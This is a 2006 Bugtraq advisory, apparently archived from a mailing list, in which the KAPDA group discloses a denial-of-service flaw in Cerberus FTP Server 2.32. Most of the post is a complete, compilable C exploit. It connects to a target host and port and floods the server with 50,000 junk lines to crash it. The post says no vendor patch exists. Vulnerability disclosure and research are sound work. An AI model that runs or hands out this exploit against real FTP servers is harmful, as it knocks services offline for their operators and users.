bugtraq - Cerberus FTP Server 2.32 Denial of Service

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060115191219.26239.qmail@securityfocus.com>
Date: 15 Jan 2006 19:12:19 -0000
From: cvh@...urityfocus.com, a@...urityfocus.com,
	kapda.ir@...urityfocus.com
To: bugtraq@...urityfocus.com
Subject: Cerberus FTP Server 2.32 Denial of Service


Cerberus FTP Server 2.32 Denial of Service

Denial of Service(DoS)

-------

KAPDA New advisory

Vulnerable products : Cerberus FTP Server 2.32
Vendor: http://www.cerberusftp.com/
Risk: High
Vulnerabilities: Denial of service

Date :
--------------------
Found : Aug 21 2005
Vendor Contacted : Aug 21 2005
Release Date : Jan 14 2006

About Cerberus FTP Server :
--------------------
Cerberus FTP ServerTM provides industrial strength secure SSL/TLS encryption and powerful FTP server performance without sacrificing ease-of-use. Designed to use very little CPU and memory, Cerberus features a user-friendly interface that can be easily hidden or accessed from the system tray. The server is able to listen for connections on multiple interfaces (Multi-homed PCs), integrate with the Windows NT user database or Active Directory, run as an NT service, resume failed transfers, and offers an easy-to-use manager for controlling user access to files and file operations. Connection limit, timeout, and IP access can be controlled by the administrator as well as a variety of other settings. In addition, Cerberus FTP Server offers statistics on connections as well as robust logging capabilities. The server adheres to RFC959 and RFC1123.

Vulnerability:
--------------------
Denial of service:
A denial-of-service attack (also, DoS attack) is an attack on a computer system or network that causes a loss of service to users, typically the loss of network connectivity and services by consuming the bandwidth of the victim network or overloading the computational resources of the victim system.

Exploit:
--------------------
cerberus_232_dos_remote_xpl.c
CODE
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>

#define  POCSTR "%s"

int header();
int usage(char *filename);
int remote_connect( char* ip, unsigned short port );

int header() {
printf("\n[i] KAPDA - Computer Security Science Researchers Institute\n\n");
printf("[i] Title:              \tCerberus FTP Server <= v2.32 Dos Exploit\n");
printf("[i] Discovered by:      \tcvh {a] kapda.ir\n");
printf("[i] Exploit by:         \tPi3cH {a] kapda.ir\n");
printf("[i] More info:          \twww.kapda.ir/page-advisory.html\n\n");
return 0;
}

int usage(char *filename) {
printf("[i] Usage:   \t%s HOST PORT\n",filename);
printf("[i] Example: \t%s 127.0.0.1 21\n\n",filename);
exit(0);
}

int remote_connect( char* ip, unsigned short port )
{
int s;
struct sockaddr_in remote_addr;
struct hostent* host_addr;

memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
if ( ( host_addr = gethostbyname ( ip ) ) == NULL )
{
printf ( "[e] Cannot resolve \"%s\"\n", ip );
exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons ( port );
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "[e] Socket failed!\n" );
exit(1);
}
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) ==  -1 )
{
printf ( "[e] Failed connecting!\n" );
       exit(1);
}
return ( s );
}


int main(int argc, char *argv[]) {
 int s,i;
 char *request;
 char junk_data[] = "DoS-JUNK-DATA.:(CVH):.\x0d\x0a";
 header();
 if( (argc < 2) )
     usage(argv[0]);
 request = (char *) malloc(1024);
 printf("[r] Connecting to remote host\n");
 s = remote_connect(argv[1],atoi(argv[2]));
 sleep(1);
 printf("[r] Creating buffer\n");
 sprintf(request,POCSTR,junk_data);
 printf("[r] Sending %d bytes of DOS buffer\n",strlen(request));
 for(i=0;i<50000;i++)
  if ( send ( s, request, strlen (request), 0) <= 0 )
  {
          printf("[e] Failed to send buffer\n");
          close(s);
          exit(1);
  }
 sleep(1);
 printf("[s] Exploit Done!\n");
 close(s);
 free(request);
 request = NULL;
 return 0;
}




Solution:
--------------------
Vendor couldn't care less, so no patch exits.


Credit :
--------------------
Discoverd by cvh [at} kapda.ir
Exploit by pi3ch [at} kapda.ir
Grtz to all members of KAPDA and GSO.
KAPDA - Computer Security Science Researchers Institute
http://www.KAPDA.ir